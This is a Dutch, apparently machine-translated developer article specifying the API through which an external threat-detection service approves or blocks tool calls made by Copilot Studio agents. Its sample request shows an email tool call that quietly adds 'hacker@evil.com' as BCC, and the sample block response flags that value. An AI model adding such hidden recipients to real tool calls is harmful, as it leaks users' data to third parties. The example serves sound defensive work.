Een runtime-detectiesysteem voor bedreigingen bouwen voor Copilot Studio-agents

Organisaties kunnen een beveiligingslaag toevoegen aan hun Copilot Studio-agents door ze te verbinden met een runtime-detectiesysteem voor bedreigingen. Zodra er verbinding is gemaakt, roept de agent dit systeem aan tijdens runtime. De agent biedt het systeem gegevens, zodat het systeem kan bepalen of een hulpprogramma dat de agent wil aanroepen legitiem is of niet. Het systeem reageert vervolgens op Copilot Studio met een reactie van 'goedkeuren' of 'blokkeren', waardoor de agent het hulpprogramma dienovereenkomstig aanroept of overslaat. Zie Externe bedreigingsdetectie en -beveiliging inschakelen voor aangepaste Copilot Studio-agents voor meer informatie over het verbinden van agents met een bestaand systeem voor externe bedreigingsdetectie.

Dit artikel is gericht op ontwikkelaars en beschrijft hoe u uw eigen mogelijkheden voor detectie van bedreigingen integreert als beveiligingsprovider voor Copilot Studio-agents.

De integratie is gebaseerd op een API die bestaat uit twee eindpunten. Het belangrijkste eindpunt dat u moet implementeren, is het analyze-tool-execution eindpunt. U moet dit eindpunt beschikbaar maken als een interface voor uw detectiesysteem voor bedreigingen. Zodra klanten uw systeem als hun externe detectiesysteem voor bedreigingen hebben geconfigureerd, roept de agent deze API aan telkens wanneer het een hulpprogramma wil aanroepen.

Naast het analyze-tool-execution eindpunt moet u ook een tweede eindpunt beschikbaar maken, genaamd validate. Het validate eindpunt wordt gebruikt om de status en gereedheid van het eindpunt te controleren als onderdeel van de systeeminstallatie.

In de volgende secties wordt elk eindpunt gedetailleerd beschreven.

POST /validate

Doel: Controleert of het eindpunt voor bedreigingsdetectie bereikbaar en functioneert. Wordt gebruikt voor het testen van de eerste installatie en configuratie.

Aanvraag valideren

Methode: VERZENDEN
URL:https://{threat detection endpoint}/validate?api-version=2025-05-01
Kopteksten:
- Autorisatie: Bearer-token voor API-verificatie
- x-ms-correlation-id: GUID voor tracering
Lichaam: Leeg

Antwoord valideren

Voorbeeld van 200 OK-antwoord

{
  "isSuccessful": true,
  "status": "OK"
}

Voorbeeld van foutreactie

Als er een fout optreedt (mislukte HTTP-code), retourneert het eindpunt een foutcode, een bericht en optionele diagnostische gegevens.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyse-tool-uitvoering.

Doel: Hiermee wordt de context voor het uitvoeren van hulpprogramma's verzonden voor risico-evaluatie. Evalueert de aanvraag voor het uitvoeren van het hulpprogramma en reageert of de uitvoering van het hulpprogramma moet worden toegestaan of geblokkeerd.

Aanvraag voor het uitvoeren van het hulpprogramma analyseren

Methode: VERZENDEN
URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01
Kopteksten:
- Autorisatie: Bearer-token voor API-verificatie
- Inhoudstype: toepassing/json
Lichaam: JSON-object

Voorbeeld van een aanvraag voor de uitvoering van het hulpprogramma analyseren

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Reactie op het uitvoeren van het hulpprogramma analyseren

200 Akkoord

Wanneer de aanvraag geldig is, wordt het hulpprogramma dat is opgegeven in de aanvraag geëvalueerd en toegestaan of geblokkeerd, op basis van de gedefinieerde criteria. Het antwoord kan de volgende velden bevatten:

blockAction (Booleaanse waarde): Of de actie moet worden geblokkeerd
reasonCode (geheel getal, optioneel): Numerieke code waarin de reden voor het blok wordt uitgelegd
reden (tekenreeks, optioneel): Leesbare uitleg
diagnostische gegevens (object, optioneel): Overige details voor tracering of foutopsporing

Voorbeeld van antwoord toestaan

{
  "blockAction": false
}

Voorbeeld van blokreactie

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Voorbeeld van een foutbericht

Als de aanvraag niet geldig is, wordt er een foutbericht geretourneerd met een foutcode, bericht, HTTP-status en optionele diagnostische gegevens.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Verwijzing naar hoofdtekststructuren voor aanvragen en antwoorden

In de volgende tabellen wordt de inhoud beschreven van verschillende objecten die worden gebruikt in de aanvraag- en antwoordteksten voor de eindpunten.

Validatieresponse

Naam	Typ	Vereist	Beschrijving
isSuccessful	Booleaan	Yes	Geeft aan of de validatie is geslaagd.
status	touw	Yes	Optioneel statusbericht of partnerspecifieke details.

AnalyzeToolExecutionResponse

Naam	Typ	Vereist	Beschrijving
blockAction	Booleaan	Yes	Geeft aan of de actie moet worden geblokkeerd.
redencode	integer	Nee.	Optionele numerieke redencode, bepaald door partner.
reden	touw	Nee.	Optionele door mensen leesbare uitleg.
diagnostics	touw	Nee.	Optionele diagnostische gegevens over vrije vorm voor foutopsporing of telemetrie. Moet worden gepreserialiseerd.

ErrorResponse

Naam	Typ	Vereist	Beschrijving
foutcode	integer	Yes	Numerieke id voor de fout (bijvoorbeeld 1001 = ontbrekend veld, 2003 = verificatiefout).
message	touw	Yes	Leesbare uitleg van de fout.
httpStatus	integer	Yes	HTTP-statuscode die door de partner wordt geretourneerd.
diagnostics	touw	Nee.	Optionele diagnostische gegevens over vrije vorm voor foutopsporing of telemetrie. Moet worden gepreserialiseerd.

EvaluationRequest

Naam	Typ	Vereist	Beschrijving
plannerContext	PlannerContext	Yes	Contextgegevens van Planner.
toolDefinition	ToolDefinition	Yes	Details van de definitie van het hulpprogramma.
inputValues	JSON-object	Yes	Woordenlijst van sleutel-waardeparen die aan het hulpprogramma zijn verstrekt.
conversationMetadata	ConversationMetadata	Yes	Metagegevens over de gesprekscontext, de gebruiker en het bijhouden van plannen.

PlannerContext

Naam	Typ	Vereist	Beschrijving
gebruikersbericht	touw	Yes	Het oorspronkelijke bericht dat door de agent is verzonden.
gedachte	touw	Nee.	Uitleg van Planner waarom dit hulpprogramma is geselecteerd.
chatHistory	ChatMessage[]	Nee.	Lijst met recente chatberichten die zijn uitgewisseld met de gebruiker.
previousToolsOutputs	ToolExecutionOutput[]	Nee.	Lijst met recente uitvoer van hulpprogramma's.

ChatMessage

Naam	Typ	Vereist	Beschrijving
identiteitskaart	touw	Yes	Unieke id voor dit bericht in het gesprek.
rol	touw	Yes	Bron van het bericht (bijvoorbeeld gebruiker, assistent).
inhoud	touw	Yes	De berichttekst.
tijdstempel	tekenreeks (datum/tijd)	Nee.	ISO 8601-tijdstempel die aangeeft wanneer het bericht is verzonden.

ToolExecutionOutputs

Naam	Typ	Vereist	Beschrijving
toolId	touw	Yes	Unieke id voor dit bericht in het gesprek.
toolName	touw	Yes	Naam van het hulpprogramma.
Uitgangen	ExecutionOutput[]	Yes	Lijst met uitvoer van het hulpprogramma.
tijdstempel	tekenreeks (datum/tijd)	Nee.	ISO 8601-tijdstempel die aangeeft wanneer de uitvoering van het hulpprogramma is voltooid.

ExecutionOutput

Naam	Typ	Vereist	Beschrijving
naam	touw	Yes	Naam van de uitvoerparameter.
beschrijving	touw	Nee.	Uitleg voor de uitvoerwaarde.
type	Voorwerp	Nee.	Gegevenstype van de uitvoer.
waarde	JSON-gegevenswaarde	Yes	De outputwaarde.

ToolDefinition

Naam	Typ	Vereist	Beschrijving
identiteitskaart	touw	Yes	Unieke id van het hulpprogramma.
type	touw	Yes	Hiermee geeft u het type hulpprogramma op dat in de planner wordt gebruikt.
naam	touw	Yes	Door mensen leesbare naam van het hulpprogramma.
beschrijving	touw	Yes	Samenvatting van wat het hulpprogramma doet.
inputParameters	ToolInput[]	Nee.	Invoerparameters van het hulpprogramma.
outputParameters	ToolOutput[]	Nee.	Uitvoerparameters die het hulpprogramma retourneert na uitvoering.

ToolInput

Naam	Typ	Vereist	Beschrijving
naam	touw	Yes	Naam van de invoerparameter.
beschrijving	touw	Nee.	Uitleg van de verwachte waarde voor deze invoerparameter.
type	JSON-object	Nee.	Gegevenstype van de invoerparameter.

ToolOutput

Naam	Typ	Vereist	Beschrijving
naam	touw	Yes	Naam van de uitvoerparameter.
beschrijving	touw	Nee.	Uitleg van de uitvoerwaarde.
type	JSON-object	Nee.	Type van de outputwaarde.

ConversationMetadata

Naam	Typ	Vereist	Beschrijving
agent	AgentContext	Yes	Informatie over agentcontext.
user	UserContext	Nee.	Informatie over de gebruiker die met de agent communiceert.
trigger	TriggerContext	Nee.	Informatie over wat de uitvoering van de planner heeft geactiveerd.
conversationId	touw	Yes	Id van het lopende gesprek.
planId	touw	Nee.	Id van het plan dat wordt gebruikt om te voldoen aan de gebruikersaanvraag.
planStepId	touw	Nee.	Stap binnen het plan dat overeenkomt met de uitvoering van dit hulpprogramma.
parentAgentComponentId	touw	Nee.	Id van het bovenliggende agentonderdeel.

AgentContext

Naam	Typ	Vereist	Beschrijving
identiteitskaart	touw	Yes	Id van de agent.
tenantId	touw	Yes	Tenant waar de agent zich bevindt.
environmentId	touw	Yes	Omgeving waarin de agent wordt gepubliceerd.
version	touw	Nee.	Agentversie (optioneel als `isPublished` deze onwaar is).
isPublished	Booleaan	Yes	Of deze uitvoeringscontext een gepubliceerde versie is.

UserContext

Naam	Typ	Vereist	Beschrijving
identiteitskaart	touw	Nee.	Microsoft Entra-object-id van de gebruiker.
tenantId	touw	Nee.	Tenant-id van de gebruiker.

TriggerContext

Naam	Typ	Vereist	Beschrijving
identiteitskaart	touw	Nee.	De id van de trigger die de planner heeft geactiveerd.
schemaName	touw	Nee.	De naam van het triggerschema dat de planner heeft geactiveerd.

Authenticatie

De integratie die u ontwikkelt, moet gebruikmaken van Microsoft Entra ID-verificatie. Volg de instructies voor het integreren van apps die uw ontwikkelaars bouwen.

De stappen die u moet uitvoeren, zijn onder andere:

Maak een app-registratie voor uw resource in uw tenant.
Maak een bereik beschikbaar voor uw web-API. Het weergegeven bereik moet de basis-URL zijn voor de resource die de klanten bellen. Als de API-URL bijvoorbeeld is https://security.contoso.com/api/threatdetection, moet het beschikbaar gemaakte bereik zijn https://security.contoso.com.
Afhankelijk van hoe u uw service implementeert, moet u autorisatielogica implementeren en binnenkomende tokens valideren. U moet documenteren hoe de klant zijn apps moet autoriseren. Er zijn meerdere manieren om dat te doen, bijvoorbeeld met een toelaatlijst van app-ID's of rolgebaseerde toegangscontrole (RBAC).

Vereisten voor reactietijd

De agent verwacht een reactie van het detectiesysteem voor bedreigingen binnen minder dan 1000 ms. Zorg ervoor dat uw eindpunt binnen dit tijdsbestek antwoordt op de oproep. Als uw systeem niet tijdig reageert, gedraagt de agent zich alsof uw antwoord 'toestaan' is en het hulpprogramma aanroept.

API-versiebeheer

In aanvragen wordt de API-versie opgegeven via een api-version queryparameter (bijvoorbeeld api-version=2025-05-01). Uw implementatie moet tolerant zijn voor andere onverwachte velden en mag niet mislukken als er in de toekomst nieuwe waarden worden toegevoegd. Partners moeten de API-versie niet verifiëren, omdat alle versies op dit moment als niet-brekend worden beschouwd. Partners moeten de API-versies bijhouden, maar de aanvraag niet mislukken bij het zien van een nieuwe versie.

Feedback

Is deze pagina nuttig?

Last updated on 2025-09-05